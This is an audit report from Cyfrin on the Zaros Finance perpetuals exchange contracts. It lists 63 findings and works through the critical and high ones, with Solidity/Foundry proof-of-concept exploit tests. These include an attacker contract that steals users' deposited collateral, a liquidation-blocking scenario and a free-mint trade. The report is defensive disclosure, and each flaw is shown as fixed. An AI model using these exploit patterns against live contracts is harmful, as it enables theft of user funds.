Zaros Finance Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditor

Dacian

July 13, 2024

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

Zaros Finance is an on-chain de-centralized Perpetuals exchange aiming to connect Liquid Re(Staking) Tokens (LSTs & LRTs) with Perpetual Futures, letting liquidity providers use their LSTs and LRTs to provide liquidity earning additional yield.

Zaros features:

- a native overcollateralized stablecoin USDz backed by the deposited LSTs/LRTs used by the protocol to settle trading positions
- the Tree Proxy Pattern a novel approach to modular smart contract proxies
- cross-margin trading accounts which allow users to segregate trading strategies into separate trading accounts, each backed by its own set of collateral
- trading on non-crypto markets including select foreign exchange pairs and commodities

5 Audit Scope

The following contracts were included in the scope for this audit:

```
src/account-nft/AccountNFT.sol
src/account-nft/interfaces/IAccountNFT.sol
src/external/chainlink/ChainlinkUtil.sol
src/external/chainlink/interfaces/IAggregatorV3.sol
src/external/chainlink/interfaces/IAutomationCompatible.sol
src/external/chainlink/interfaces/IFeeManager.sol
src/external/chainlink/interfaces/ILogAutomation.sol
src/external/chainlink/interfaces/IStreamsLookupCompatible.sol
src/external/chainlink/interfaces/IVerifierProxy.sol
src/external/chainlink/keepers/BaseKeeper.sol
src/external/chainlink/keepers/liquidation/LiquidationKeeper.sol
```

```
src/external/chainlink/keepers/market-order/MarketOrderKeeper.sol
src/perpetuals/PerpsEngine.sol
src/perpetuals/branches/GlobalConfigurationBranch.sol
src/perpetuals/branches/LiquidationBranch.sol
src/perpetuals/branches/OrderBranch.sol
src/perpetuals/branches/PerpMarketBranch.sol
src/perpetuals/branches/SettlementBranch.sol
src/perpetuals/branches/TradingAccountBranch.sol
src/perpetuals/leaves/FeeRecipients.sol
src/perpetuals/leaves/GlobalConfiguration.sol
src/perpetuals/leaves/MarginCollateralConfiguration.sol
src/perpetuals/leaves/MarketOrder.sol
src/perpetuals/leaves/OrderFees.sol
src/perpetuals/leaves/PerpMarket.sol
src/perpetuals/leaves/Position.sol
src/perpetuals/leaves/SettlementConfiguration.sol
src/perpetuals/leaves/TradingAccount.sol
src/tree-proxy/RootProxy.sol
src/tree-proxy/branches/LookupBranch.sol
src/tree-proxy/branches/UpgradeBranch.sol
src/tree-proxy/leaves/Branch.sol
src/tree-proxy/leaves/LookupTable.sol
src/tree-proxy/leaves/RootUpgrade.sol
src/usd/USDToken.sol
src/utils/Constants.sol
src/utils/Errors.sol
src/utils/Math.sol
```

6 Executive Summary

Over the course of 16 days, the Cyfrin team conducted an audit on the Zaros Finance smart contracts provided by Zaros. In this period, a total of 63 issues were found.

The findings consist of 5 Critical, 3 High, 12 Medium & 12 Low severity issues with the remainder being informational and gas optimizations.

Of the 6 Criticals:

- 7.1.1 and 7.1.2 were missing access control which would allow arbitary burning of the protocol's stablecoin and hijacking traders' accounts to steal their deposited collateral
- 7.1.3 involved incorrect handling of collateral tokens with less than 18 decimals which could result in serious financial loss to users
- 7.1.4 allowed traders to make themselves impossible to liquidate by using multiple open positions in different markets to trigger a corruption of ordering in their active markets during liquidation forcing the liquidation transaction to revert
- 7.1.5 allowed traders to make profitable risk-free trades by leveraging 2 Low findings in markets using negative maker fees by opening then quickly closing positions

Of the 3 Highs:

- 7.2.1 involved incorrect handling of collateral tokens with less than 18 decimals
- 7.2.2 resulted in corruption of the collateral priority order causing incorrect collateral to be liquidated
- 7.2.3 prevented a trader from reducing their exposure to a losing position which was not yet subject to liquidation

The 12 Medium and 12 Low severity findings were a wide mix of various issues.

Considering the number of issues identified it is statistically likely that there are more complex bugs hiding that could not be identified given the time-boxed audit engagement. Due to the significant changes during mitigation, the number of issues found & the short turnaround time for the mitigation fixes, it is recommended that a competitive audit be undertaken prior to deploying significant monetary capital on mainnet.

Test Suite Analysis:

Although the provided test suite provides excellent coverage, there were several noticeable gaps which should be addressed:

- most tests use tokens with 18 decimals; ideally all major functionality would be exercised by the test suite using tokens with non-18 decimals as the protocol explicitly aims to support this
- many tests don't verify actual state changes; they simply call a function and if it doesn't revert it is assumed to be successful. Ideally all tests would verify that the expected state changes have actually occurred
- there are no tests when using negative maker / taker fees; a number of our findings involved scenarios with negative maker fees. If the protocol chooses to continue having negative fees as an option it would be ideal to add tests exercising the protocol's functionality with negative fees
- no invariant tests; it would be ideal to define contract-based and protocol-based invariants then add an invariant test suite to verify these invariants hold

Summary

Project Name	Zaros Finance
Repository	zaros-core-audit
Commit	de09d030c780...
Audit Timeline	May 30th - June 20th 2024
Methods	Manual Review

Issues Found

Critical Risk	5
High Risk	3
Medium Risk	12
Low Risk	12
Informational	7
Gas Optimizations	24
Total Issues	63

Summary of Findings

[C-1] Attacker can burn `USDToken` from any user	Resolved

[C-2] Attacker can steal user deposited collateral tokens by updating account nft token to a custom attack contract address	Resolved
[C-3] `TradingAccount::withdrawMarginUsd` transfers an incorrectly larger amount of margin collateral for tokens with less than 18 decimals	Resolved
[C-4] Impossible to liquidate accounts with multiple active markets as `LiquidationBranch::liquidateAccounts` reverts due to corruption of ordering in `TradingAccount::activeMarketsIds`	Resolved
[C-5] Attacker can perform a risk-free trade to mint free USDz tokens by opening then quickly closing positions for markets using negative `makerFee`	Resolved
[H-1] `TradingAccountBranch::depositMargin` attempts to transfer greater amount than user deposited for tokens with less than 18 decimals	Resolved
[H-2] `GlobalConfiguration::removeCollateralFromLiquidationPriority` corrupts the collateral priority order resulting in incorrect order of collateral liquidation	Resolved
[H-3] Trader can't reduce open position size when under initial margin requirement but over maintenance margin requirement	Resolved
[M-01] `ChainlinkUtil::getPrice` doesn't check for stale price	Resolved
[M-02] `ChainlinkUtil::getPrice` doesn't check if L2 Sequencer is down	Resolved
[M-03] `ChainlinkUtil::getPrice` will use incorrect price when underlying aggregator reaches `minAnswer`	Resolved
[M-04] Users can easily bypass collateral `depositCap` limit using multiple deposits under the limit	Resolved
[M-05] Anyone can cancel traders' market orders due to missing access control in `OrderBranch::cancelMarketOrder`	Resolved
[M-06] Protocol operator can disable market with open positions, making it impossible for traders to close their open positions but still subjecting them to potential liquidation	Resolved
[M-07] Liquidation leaves traders with unhealthier and riskier collateral basket, making them more likely to be liquidated in future trades	Resolved
[M-08] Keeper fills market order using incorrect old `marketId` but newly updated position size when trader updates open order immediately before keeper processes original order	Resolved
[M-09] `TradingAccount::getAccountMarginRequirementUsdAndUnrealizedPnlAsk` uses incorrect price during order settlement	Acknowledged
[M-10] Protocol operator can disable settlement for market with open positions, making it impossible for traders to close their open positions but still subjecting them to potential liquidation	Resolved
[M-11] Update to funding rate parameters retrospectively impacts accrued funding rates	Acknowledged
[M-12] `SettlementBranch::_fillOrder` doesn't pay order and settlement fees if PNL is positive	Resolved
[L-01] `TradingAccount::deductAccountMargin` can incorrectly add the same values multiple times to output parameter `marginDeductedUsdX18`	Resolved

[L-02] `SettlementBranch::_fillOrder` can revert for positions with negative PNL in markets with negative maker/taker fees	Resolved
[L-03] Remove max open interest check when liquidating in `LiquidationBranch::liquidateAccounts`	Resolved
[L-04] Gracefully handle state where perp market `maxOpenInterest` is updated to be smaller than the current open interest	Resolved
[L-05] `MarketOrder` minimum lifetime can be easily bypassed	Resolved
[L-06] Protocol team can censor traders via centralized keepers	Acknowledged
[L-07] Protocol team can preferentially refuse to liquidate traders via centralized liquidators	Acknowledged
[L-08] Traders can't limit slippage and expiration time when creating market orders	Resolved
[L-09] `SettlementBranch::_fillOrder` reverts if absolute value of PNL is smaller than sum of order and settlement fees	Resolved
[L-10] `PerpMarket::getOrderFeeUsd` incorrectly charges `makerFee` when skew is zero and trade is buy order	Resolved
[L-11] `PerpMarket::getOrderFeeUsd` rewards traders who flip the skew with `makerFee` for the full trade	Resolved
[L-12] `OrderBranch::getMarginRequirementForTrade` doesn't include order and settlement fees when calculating margin requirements	Resolved
[I-1] Unused variables	Resolved
[I-2] Return more suitable error type when `params.initialMarginRateX18 <= params.maintenanceMarginRateX18`	Resolved
[I-3] Standardize `accountId` data type	Resolved
[I-4] The `LogConfigureMarginCollateral` event doesn't emit `loanToValue`	Resolved
[I-5] Inconsistent validation while creating/updating a perp market	Resolved
[I-6] `GlobalConfigurationBranch::updateSettlementConfiguration` can be called for a non-existent `marketId`	Resolved
[I-7] Liquidation reverts if collateral price feed returns 0	Acknowledged
[G-01] Use named return variables to save 9 gas per return variable	Resolved
[G-02] Don't initialize variables to default values	Resolved
[G-03] Cache memory array length if expected size of array is >= 3	Resolved
[G-04] Move immutable branch check outside `for` loop in `RootUpgrade::removeBranch`	Resolved
[G-05] Optimize away call to `EnumerableSet::contains` in `GlobalConfiguration::configureCollateralLiquidationPriority`	Resolved
[G-06] Remove redundant `uint256` cast in `PerpMarket::getMarkPrice`	Resolved
[G-07] Cache result of `indexPriceX18.intoSD59x18` in `PerpMarket::getMarkPrice`	Resolved
[G-08] Use input `amount` in `TradingAccountBranch::withdrawMargin` when calling `safeTransfer`	Resolved

[G-09] Remove redundant `unary` call from `TradingAccount::getAccountMarginRequirementUsdAndUnrealizedPnlUsd`	Resolved
[G-10] Needless addition in `TradingAccount::withdrawMarginUsd`	Resolved
[G-11] `LiquidationKeeper::checkUpkeep` should only continue processing if lower bounds are smaller than upper bounds	Resolved
[G-12] Fail fast in `LiquidationBranch::checkLiquidatableAccounts`	Resolved
[G-13] Fail fast in `LiquidationBranch::liquidateAccounts`	Resolved
[G-14] Remove boolean condition that will always be `false` from `LiquidationBranch::liquidateAccounts`	Resolved
[G-15] Optimize away `liquidatedCollateralUsdX18` variable from `LiquidationBranch::liquidateAccounts`	Resolved
[G-16] Don't read `position.size` from storage after `position` has been reset in `LiquidationBranch::liquidateAccounts`	Resolved
[G-17] Fail fast in `PerpMarket::checkOpenInterestLimits`	Resolved
[G-18] Cache `self.skew` in `PerpMarket::checkOpenInterestLimits` to avoid reading same value from storage twice	Resolved
[G-19] In `PerpMarket::checkOpenInterestLimits` only calculate `isReducingSkew` if `shouldCheckMaxSkew == true`	Resolved
[G-20] Cache `sd59x18(sizeDelta)` in `OrderBranch::simulateTrade` to prevent wrapping the same value 3 additional times	Resolved
[G-21] Use constants for `sd59x18(0)` and `ud60x18(0)`	Resolved
[G-22] Fail fast in `OrderBranch::createMarketOrder`	Resolved
[G-23] Multiple levels of abstraction result in the same values being repeatedly read from storage over and over again	Acknowledged
[G-24] Return fast in `TradingAccountBranch::getAccountLeverage` when margin balance is zero	Resolved

7 Findings

7.1 Critical Risk

7.1.1 Attacker can burn `USDToken` from any user

Description: USDToken::burn has:

- no access control meaning anyone can call it
- arbitrary address parameter, not using `msg.sender`

Impact: Anyone can call `USDToken::burn` to burn the tokens of any user.

Recommended Mitigation: Two options:

1) implement access control such that only trusted roles can call `USDToken::burn`
2) remove the arbitrary address input and use `msg.sender` so users can only burn their own tokens

Zaros: Fixed in commit 819f624.

Cyfrin: Verified.

7.1.2 Attacker can steal user deposited collateral tokens by updating account nft token to a custom attack contract address

Description: `GlobalConfigurationBranch.setTradingAccountToken` has no access control meaning an attacker could update the account nft token to an arbitrary address.

Impact: An attacker can use a custom attack contract to steal user deposited collateral.

Proof of Concept: Add the following code to new file `test/integration/perpetuals/trading-account-branch/depositMargin/stealMargin.t.sol`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.25;

// Zaros dependencies
import { Errors } from "@zaros/utils/Errors.sol";
import { Base_Test } from "test/Base.t.sol";
import { TradingAccountBranch } from "@zaros/perpetuals/branches/TradingAccountBranch.sol";

// @audit used for attack contract
import { ERC721, ERC721Enumerable } from "@openzeppelin/token/ERC721/extensions/ERC721Enumerable.sol";
import { IPerpsEngine } from "@zaros/perpetuals/PerpsEngine.sol";

contract AttackerAccountNFT is ERC721Enumerable {
    constructor() ERC721("", "") { }

    function stealAccount(address perpsEngineAddr, uint128 tokenId) external {
        // @audit mint attacker the requested tokenId
        _mint(msg.sender, tokenId);

        // @audit call perps engine to transfer account to attacker
        IPerpsEngine perpsEngine = IPerpsEngine(perpsEngineAddr);
        perpsEngine.notifyAccountTransfer(msg.sender, tokenId);
    }
}

contract StealMargin_Integration_Test is Base_Test {
    function setUp() public override {
        Base_Test.setUp();
    }
```

```
    function test_AttackerStealsUserCollateral() external {
        // @audit naruto the victim will create an account and deposit
        uint256 amountToDeposit = 10 ether;
        deal({ token: address(usdToken), to: users.naruto, give: amountToDeposit });

        uint128 victimTradingAccountId = perpsEngine.createTradingAccount();

        // it should emit {LogDepositMargin}
        vm.expectEmit({ emitter: address(perpsEngine) });
        emit TradingAccountBranch.LogDepositMargin(
            users.naruto, victimTradingAccountId, address(usdToken), amountToDeposit
        );

        // it should transfer the amount from the sender to the trading account
        expectCallToTransferFrom(usdToken, users.naruto, address(perpsEngine), amountToDeposit);
        perpsEngine.depositMargin(victimTradingAccountId, address(usdToken), amountToDeposit);

        uint256 newMarginCollateralBalance =
            perpsEngine.getAccountMarginCollateralBalance(victimTradingAccountId,
            ↪  address(usdToken)).intoUint256();

        // it should increase the amount of margin collateral
        assertEq(newMarginCollateralBalance, amountToDeposit, "depositMargin");

        // @audit sasuke the attacker will steal naruto's deposit
        // beginning state: theft has not occured
        assertEq(0, usdToken.balanceOf(users.sasuke));
        //
        // @audit 1) sasuke creates their own hacked `AccountNFT` contract
        vm.startPrank(users.sasuke);
        AttackerAccountNFT attackerNftContract = new AttackerAccountNFT();

        // @audit 2) sasuke uses lack of access control to make their
        // hacked `AccountNFT` contract the official contract
        perpsEngine.setTradingAccountToken(address(attackerNftContract));

        // @audit 3) sasuke calls the attack function in their hacked `AccountNFT`
        // contract to steal ownership of the victim's account
        attackerNftContract.stealAccount(address(perpsEngine), victimTradingAccountId);

        // @audit 4) sasuke withdraws the victim's collateral
        perpsEngine.withdrawMargin(victimTradingAccountId, address(usdToken), amountToDeposit);
        vm.stopPrank();

        // @audit end state: sasuke has stolen the victim's deposited collateral
        assertEq(amountToDeposit, usdToken.balanceOf(users.sasuke));
    }
}
```

Run with: `forge test --match-test test_AttackerStealsUserCollateral`

Recommended Mitigation: Add the `onlyOwner` modifier to `GlobalConfigurationBranch.setTradingAccountToken`.

Zaros: Fixed in commit 819f624.

Cyfrin: Verified.

7.1.3 `TradingAccount::withdrawMarginUsd` transfers an incorrectly larger amount of margin collateral for tokens with less than 18 decimals

Description: The `UD60x18` values are scaled up to 18 decimal places for collateral tokens with less than 18 decimals places. But when `TradingAccount::withdrawMarginUsd` transfers tokens to the recipient it doesn't scale the transferred amount back down to the collateral token's native decimal value:

```
function withdrawMarginUsd(
    Data storage self,
    address collateralType,
    UD60x18 marginCollateralPriceUsdX18,
    UD60x18 amountUsdX18,
    address recipient
)
    internal
    returns (UD60x18 withdrawnMarginUsdX18, bool isMissingMargin)
{
    UD60x18 marginCollateralBalanceX18 = getMarginCollateralBalance(self, collateralType);
    UD60x18 requiredMarginInCollateralX18 = amountUsdX18.div(marginCollateralPriceUsdX18);
    if (marginCollateralBalanceX18.gte(requiredMarginInCollateralX18)) {
        withdraw(self, collateralType, requiredMarginInCollateralX18);

        withdrawnMarginUsdX18 = withdrawnMarginUsdX18.add(amountUsdX18);

        // @audit wrong amount for collateral tokens with less than 18 decimals
        // needs to be scaled down to collateral token's native precision
        IERC20(collateralType).safeTransfer(recipient, requiredMarginInCollateralX18.intoUint256());

        isMissingMargin = false;
        return (withdrawnMarginUsdX18, isMissingMargin);
    } else {
        UD60x18 marginToWithdrawUsdX18 = marginCollateralPriceUsdX18.mul(marginCollateralBalanceX18);
        withdraw(self, collateralType, marginCollateralBalanceX18);
        withdrawnMarginUsdX18 = withdrawnMarginUsdX18.add(marginToWithdrawUsdX18);

        // @audit wrong amount for collateral tokens with less than 18 decimals
        // needs to be scaled down to collateral token's native precision
        IERC20(collateralType).safeTransfer(recipient, marginCollateralBalanceX18.intoUint256());

        isMissingMargin = true;
        return (withdrawnMarginUsdX18, isMissingMargin);
    }
}
```

Here is a possible scenario.

- A user deposits 10K USDC(has 6 decimals) to his trading account. Then his margin collateral balance will be `10000 * 10^(18 - 6) = 10^16`.
- During a liquidation/settlement, `withdrawMarginUsd` is called with `requiredMarginInCollateralX18 = 1e4` which means `10^-8 USDC`.
- But due to the incorrect decimal conversion logic, the function transfers the whole collateral(10K USDC) but still has `10^16 - 10^4` collateral balance.

Impact: Margin collateral balances become corrupt allowing users to withdraw more collateral than they should leading to loss of funds for other users since they won't be able to withdraw.

Recommended Mitigation: `withdrawMarginUsd` should scale the amount down to the collateral token's native precision before calling `safeTransfer`.

Zaros: Fixed in commit 1ac2acc.

Cyfrin: Verified.

7.1.4 Impossible to liquidate accounts with multiple active markets as `LiquidationBranch::liquidateAccounts` reverts due to corruption of ordering in `TradingAccount::activeMarketsIds`

Description: `LiquidationBranch::liquidateAccounts` iterates through the active markets of the account being liquidated, assuming that the ordering of these active markets will remain constant:

```
// load open markets for account being liquidated
ctx.amountOfOpenPositions = tradingAccount.activeMarketsIds.length();

// iterate through open markets
for (uint256 j = 0; j < ctx.amountOfOpenPositions; j++) {
    // load current active market id into working data
    // @audit assumes constant ordering of active markets
    ctx.marketId = tradingAccount.activeMarketsIds.at(j).toUint128();

    PerpMarket.Data storage perpMarket = PerpMarket.load(ctx.marketId);
    Position.Data storage position = Position.load(ctx.tradingAccountId, ctx.marketId);

    ctx.oldPositionSizeX18 = sd59x18(position.size);
    ctx.liquidationSizeX18 = unary(ctx.oldPositionSizeX18);

    ctx.markPriceX18 = perpMarket.getMarkPrice(ctx.liquidationSizeX18, perpMarket.getIndexPrice());

    ctx.fundingRateX18 = perpMarket.getCurrentFundingRate();
    ctx.fundingFeePerUnitX18 = perpMarket.getNextFundingFeePerUnit(ctx.fundingRateX18,
    ↪  ctx.markPriceX18);

    perpMarket.updateFunding(ctx.fundingRateX18, ctx.fundingFeePerUnitX18);
    position.clear();

    // @audit this calls `EnumerableSet::remove` which changes the order of `activeMarketIds`
    tradingAccount.updateActiveMarkets(ctx.marketId, ctx.oldPositionSizeX18, SD_ZERO);
```

However this is not true as `activeMarketIds` is an `EnumerableSet` which explicitly provides no guarantees that the order of elements is preserved and its `remove` function uses the swap-and-pop method for performance reasons which *guarantees* that order will be corrupted when an active market is removed.

Impact: When a trading account has multiple open markets, during liquidation once the first open market is closed the ordering of the account's `activeMarketIds` will be corrupted. This results in the liquidation transaction reverting with `panic: array out-of-bounds access` when attempting to remove the last active market.

Hence it is impossible to liquidate users with multiple active markets; a user can make themselves impossible to liquidate by having positions in multiple active markets.

Proof of Concept: Add the following helper function to `test/Base.t.sol`:

```
function openManualPosition(
    uint128 marketId,
    bytes32 streamId,
    uint256 mockUsdPrice,
    uint128 tradingAccountId,
    int128 sizeDelta
) internal {
    perpsEngine.createMarketOrder(
        OrderBranch.CreateMarketOrderParams({
            tradingAccountId: tradingAccountId,
            marketId: marketId,
            sizeDelta: sizeDelta
```

```
        })
    );

    bytes memory mockSignedReport = getMockedSignedReport(streamId, mockUsdPrice);

    changePrank({ msgSender: marketOrderKeepers[marketId] });

    // fill first order and open position
    perpsEngine.fillMarketOrder(tradingAccountId, marketId, mockSignedReport);

    changePrank({ msgSender: users.naruto });
}
```

Then add the PoC function to `test/integration/perpetuals/liquidation-branch/liquidateAccounts.t.sol`:

```
function test_ImpossibleToLiquidateAccountWithMultipleMarkets() external {
    // give naruto some tokens
    uint256 USER_STARTING_BALANCE = 100_000e18;
    int128  USER_POS_SIZE_DELTA   = 10e18;
    deal({ token: address(usdToken), to: users.naruto, give: USER_STARTING_BALANCE });

    // naruto creates a trading account and deposits their tokens as collateral
    changePrank({ msgSender: users.naruto });
    uint128 tradingAccountId = createAccountAndDeposit(USER_STARTING_BALANCE, address(usdToken));

    // naruto opens first position in BTC market
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  USER_POS_SIZE_DELTA);

    // naruto opens second position in ETH market
    openManualPosition(ETH_USD_MARKET_ID, ETH_USD_STREAM_ID, MOCK_ETH_USD_PRICE, tradingAccountId,
    ↪  USER_POS_SIZE_DELTA);

    // make BTC position liquidatable
    updateMockPriceFeed(BTC_USD_MARKET_ID, MOCK_BTC_USD_PRICE/2);

    // make ETH position liquidatable
    updateMockPriceFeed(ETH_USD_MARKET_ID, MOCK_ETH_USD_PRICE/2);

    // verify naruto can now be liquidated
    uint128[] memory liquidatableAccountsIds = perpsEngine.checkLiquidatableAccounts(0, 1);
    assertEq(1, liquidatableAccountsIds.length);
    assertEq(tradingAccountId, liquidatableAccountsIds[0]);

    // attempt to liquidate naruto
    changePrank({ msgSender: liquidationKeeper });

    // this reverts with "panic: array out-of-bounds access"
    // due to the order of `activeMarketIds` being corrupted by
    // the removal of the first active market then when attempting
    // to remove the second active market it triggers this error
    perpsEngine.liquidateAccounts(liquidatableAccountsIds, users.settlementFeeRecipient);

    // comment out the ETH position above it no longer reverts since
    // then user would only have 1 active market
    //
    // comment out the following line from `LiquidationBranch::liquidateAccounts`
    // and it also won't revert since the active market removal won't happen:
    //
    // tradingAccount.updateActiveMarkets(ctx.marketId, ctx.oldPositionSizeX18, SD_ZERO);
}
```

Run with: `forge test --match-test test_ImpossibleToLiquidateAccountWithMultipleMarkets`

Recommended Mitigation: Use a data structure that preserves order to store trading account's active market ids.

Alternatively in `LiquidationBranch::liquidateAccounts`, don't remove the active market ids inside the `for` loop but remove them after the `loop` has finished. This will result in a consistent iteration order over the active markets during the `for` loop.

Another option is to get a memory copy by calling `EnumerableSet::values` and iterate over the memory copy instead of storage, eg:

```
- ctx.marketId = tradingAccount.activeMarketsIds.at(j).toUint128();
+ ctx.marketId = activeMarketIdsCopy[j].toUint128();
```

Zaros: Fixed in commit 53a3646.

Cyfrin: Verified.

7.1.5 Attacker can perform a risk-free trade to mint free USDz tokens by opening then quickly closing positions for markets using negative `makerFee`

Description: Attacker can perform a risk-free trade to mint free USDz tokens by opening then quickly closing positions in markets using negative `makerFee`; this is effectively a free mint exploit dressed up as a risk-free "trade".

Proof of Concept: First change `script/markets/BtcUsd.sol` to have a negative `makerFee` like this:

```
-     OrderFees.Data internal btcUsdOrderFees = OrderFees.Data({ makerFee: 0.0004e18, takerFee:
↪  0.0008e18 });
+     OrderFees.Data internal btcUsdOrderFees = OrderFees.Data({ makerFee: -0.0004e18, takerFee:
↪  0.0008e18 });
```

Then add PoC to `test/integration/perpetuals/order-branch/createMarketOrder/createMarketOrder.t.sol`:

```
// new import at the top
import {console} from "forge-std/console.sol";

function test_AttackerMintsFreeUSDzOpenThenQuicklyClosePositionMarketNegMakerFee() external {
    // In a market with a negative maker fee, an attacker can perform
    // a risk-free "trade" by opening then quickly closing a position.
    // This allows attackers to mint free USDz without
    // any risk; it is essentially a free mint exploit dressed up
    // as a risk-free "trade"

    // give naruto some tokens
    uint256 USER_STARTING_BALANCE = 100_000e18;
    int128  USER_POS_SIZE_DELTA   = 10e18;
    deal({ token: address(usdToken), to: users.naruto, give: USER_STARTING_BALANCE });

    // naruto creates a trading account and deposits their tokens as collateral
    changePrank({ msgSender: users.naruto });
    uint128 tradingAccountId = createAccountAndDeposit(USER_STARTING_BALANCE, address(usdToken));

    // naruto opens position in BTC market
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  USER_POS_SIZE_DELTA);

    // naruto closes position in BTC market immediately after
```

```
    // in practice this would occur one or more blocks after the
    // first order had been filled
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  -USER_POS_SIZE_DELTA);

    // verify that now naruto has MORE USDz than they started with!
    uint256 traderCollateralBalance = perpsEngine.getAccountMarginCollateralBalance(tradingAccountId,
    ↪  address(usdToken)).intoUint256();
    assert(traderCollateralBalance > USER_STARTING_BALANCE);

    // naruto now withdraws all their collateral
    perpsEngine.withdrawMargin(tradingAccountId, address(usdToken), traderCollateralBalance);

    // verify that naruto has withdrawn more USDz than they deposited
    uint256 traderFinalUsdzBalance = usdToken.balanceOf(users.naruto);
    assert(traderFinalUsdzBalance > USER_STARTING_BALANCE);

    // output the profit
    console.log("Start USDz  : %s", USER_STARTING_BALANCE);
    console.log("Final USDz  : %s", traderFinalUsdzBalance);
    console.log("USDz profit : %s", traderFinalUsdzBalance - USER_STARTING_BALANCE);

    // profit = 796 040000000000000000
    //        = $796
}
```

Run with: `forge test --match-test test_AttackerMintsFreeUSDzOpenThenQuicklyClosePositionMarket-NegMakerFee -vvv`

Impact: The attacker can effectively perform a risk-free or minimal-risk trade to harvest free tokens via the negative `marginFee`; in the PoC the attacker was able to profit $796.

One potential invalidation for this attack vector is that in the real system the protocol controls the keepers who fill orders so an attacker couldn't force both trades into the same block in practice.

The real-world flow would go like this:

1) Attacker creates market order to buy (block 1)
2) Keeper fills buy order (block 2)
3) Attacker creates market order to sell (block 3)
4) Keeper fills sell order (block 4)

So it couldn't be done in one block in practice which means the attacker would be exposed to market movements for a tiny amount of time and that it isn't flash loan exploitable.

But it still seems quite exploitable to mint free tokens with very little exposure to market movements especially as the attacker is able to harvest the maker fee on both transactions by exploiting these 2 Low findings:

- `PerpMarket::getOrderFeeUsd rewards traders who flip the skew with makerFee for the full trade`
- `PerpMarket::getOrderFeeUsd incorrectly charges makerFee when skew is zero and trade is buy order`

Recommended Mitigation: Two possible options:

1) Don't allow negative `makerFee` / `takerFee`; change `leaves/OrderFees.sol` to use `uint128`.
2) If negative fees are desired implement a minimum time for which a position must remain open before it can be modified so that an attacker couldn't open a position then quickly close it to simply cash out the `makerFee`.

Zaros: Fixed in commit e03228e by no longer supporting negative fees; both `makerFee` and `takerFee` are now unsigned.

Cyfrin: Verified.

7.2 High Risk

7.2.1 `TradingAccountBranch::depositMargin` attempts to transfer greater amount than user deposited for tokens with less than 18 decimals

Description: For collateral tokens with less than 18 decimals, `TradingAccountBranch::depositMargin` attempts to transfer a greater amount of tokens than what the user is actually depositing as:

- input `amount` is converted into `ud60x18Amount` via `MarginCollateralConfiguration::convertTokenAmountToUd60x18` which scales up `amount` to 18 decimals
- the `safeTransferFrom` call is passed `ud60x18Amount::intoUint256` which converts that scaled up input amount back to `uint256`

```
function depositMargin(uint128 tradingAccountId, address collateralType, uint256 amount) public virtual
↪ {
    // load margin collateral config for this collateral type
    MarginCollateralConfiguration.Data storage marginCollateralConfiguration =
        MarginCollateralConfiguration.load(collateralType);

    // @audit convert uint256 -> UD60x18; scales input amount to 18 decimals
    UD60x18 ud60x18Amount = marginCollateralConfiguration.convertTokenAmountToUd60x18(amount);

    // *snip* //

    // @audit fetch tokens from the user; using the ud60x18Amount which has been
    // scaled up to 18 decimals. Will attempt to transfer more tokens than
    // user actually depositing
    IERC20(collateralType).safeTransferFrom(msg.sender, address(this), ud60x18Amount.intoUint256());
```

Impact: For collateral tokens with less than 18 decimals, `TradingAccountBranch::depositMargin` will attempt to transfer more tokens than the user is actually depositing. If the user has not approved the greater amount (or infinite approval) the transaction will revert; similarly if the user does not have sufficient funds it will also revert. If the user has sufficient funds and has granted the approval the user's tokens will be stolen by the protocol.

Recommended Mitigation: The `safeTransferFrom` should use `amount` instead of `ud60x18Amount`.

```
- IERC20(collateralType).safeTransferFrom(msg.sender, address(this), ud60x18Amount.intoUint256());
+ IERC20(collateralType).safeTransferFrom(msg.sender, address(this), amount);
```

Zaros: Fixed in commit 3fe9c0a.

Cyfrin: Verified.

7.2.2 `GlobalConfiguration::removeCollateralFromLiquidationPriority` corrupts the collateral priority order resulting in incorrect order of collateral liquidation

Description: `GlobalConfiguration` uses OpenZeppelin's `EnumerableSet` to store the collateral liquidation priority order:

```
/// @param collateralLiquidationPriority The set of collateral types in order of liquidation priority
struct Data {
    /* snip....*/
    EnumerableSet.AddressSet collateralLiquidationPriority;
}
```

But OpenZeppelin's `EnumerableSet` explicitly provides no guarantees that the order of elements is preserved and its `remove` function uses the swap-and-pop method for performance reasons which *guarantees* that order will be corrupted when collateral is removed.

Impact: When one collateral is removed from the set, the collateral priority order will become corrupted. This will result in the incorrect collateral being prioritized for liquidation and other functions within the protocol.

Proof of Concept: Check out this stand-alone Foundry PoC:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import { EnumerableSet } from "openzeppelin-contracts/utils/structs/EnumerableSet.sol";

import "forge-std/Test.sol";

// run from base project directory with:
// forge test --match-contract SetTest
contract SetTest is Test {
    using EnumerableSet for EnumerableSet.AddressSet;

    EnumerableSet.AddressSet collateralLiquidationPriority;

    function test_collateralLiquidationPriorityReorders() external {
        // create original order of collateral liquidation priority
        address collateralType1 = address(1);
        address collateralType2 = address(2);
        address collateralType3 = address(3);
        address collateralType4 = address(4);
        address collateralType5 = address(5);

        // add them to the set
        collateralLiquidationPriority.add(collateralType1);
        collateralLiquidationPriority.add(collateralType2);
        collateralLiquidationPriority.add(collateralType3);
        collateralLiquidationPriority.add(collateralType4);
        collateralLiquidationPriority.add(collateralType5);

        // affirm length and correct order
        assertEq(5, collateralLiquidationPriority.length());
        assertEq(collateralType1, collateralLiquidationPriority.at(0));
        assertEq(collateralType2, collateralLiquidationPriority.at(1));
        assertEq(collateralType3, collateralLiquidationPriority.at(2));
